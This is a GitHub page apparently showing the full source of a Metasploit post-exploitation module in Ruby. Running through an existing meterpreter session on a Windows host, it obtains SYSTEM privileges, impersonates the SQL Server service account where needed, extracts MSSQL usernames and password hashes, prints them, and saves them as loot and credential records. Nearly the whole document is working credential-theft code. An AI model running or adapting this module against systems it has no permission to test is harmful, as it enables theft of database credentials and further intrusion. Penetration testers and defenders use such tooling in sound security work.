-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
mssql_local_hashdump.rb
192 lines (162 loc) · 5.37 KB
/
mssql_local_hashdump.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::MSSQL
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Local SQL Server Hash Dump',
'Description' => %q{
This module extracts the usernames and password
hashes from an MSSQL server and stores them as loot. It uses the
same technique in mssql_local_auth_bypass.
},
'License' => MSF_LICENSE,
'Author' => [
'Mike Manzotti <mike.manzotti[at]dionach.com>',
'nullbind' # Original technique
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_rev2self
]
}
}
)
)
register_options(
[
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
]
)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip
begin
get_sql_hash(instance_name)
rescue RuntimeError
# Attempt to impersonate sql server service account (for sql server 2012)
if impersonate_sql_user(service)
get_sql_hash(instance_name)
end
end
ensure
# return to original priv context
session.sys.config.revert_to_self
end
end
def get_sql_version(instance_name)
vprint_status('Attempting to get version...')
query = mssql_sql_info
get_version_result = run_sql(query, instance_name)
# Parse Data
get_version_array = get_version_result.split("\n")
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year
vprint_status("MSSQL version found: #{version_year}")
return version_year
else
vprint_error('MSSQL version not found')
end
end
def get_sql_hash(instance_name)
version_year = get_sql_version(instance_name)
case version_year
when '2000'
hash_type = 'mssql'
query = mssql_2k_password_hashes
when '2005', '2008'
hash_type = 'mssql05'
query = mssql_2k5_password_hashes
when '2012', '2014'
hash_type = 'mssql12'
query = mssql_2k5_password_hashes
else
fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')
end
print_status('Attempting to get password hashes...')
res = run_sql(query, instance_name)
if res.include?('0x')
# Parse Data
if hash_type == 'mssql12'
res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|
pair.hex.chr
end
end
hash_array = res.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else
fail_with(Failure::Unknown, 'Unable to retrieve hashes')
end
end
def store_hashes(hash_array, hash_type)
# Save data
loot_hashes = ''
hash_array.each do |row|
user, hash = row.strip.split
service_data = {
address: rhost,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Initialize Metasploit::Credential::Core object
credential_data = {
post_reference_name: refname,
origin_type: :session,
private_type: :nonreplayable_hash,
private_data: hash,
username: user,
session_id: session_db_id,
jtr_format: hash_type,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
print_line("#{user}:#{hash}")
loot_hashes << "#{user}:#{hash}\n"
end
if loot_hashes.empty?
return false
else
# Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
print_good("MSSQL password hash saved in: #{loot_path}")
return true
end
end
end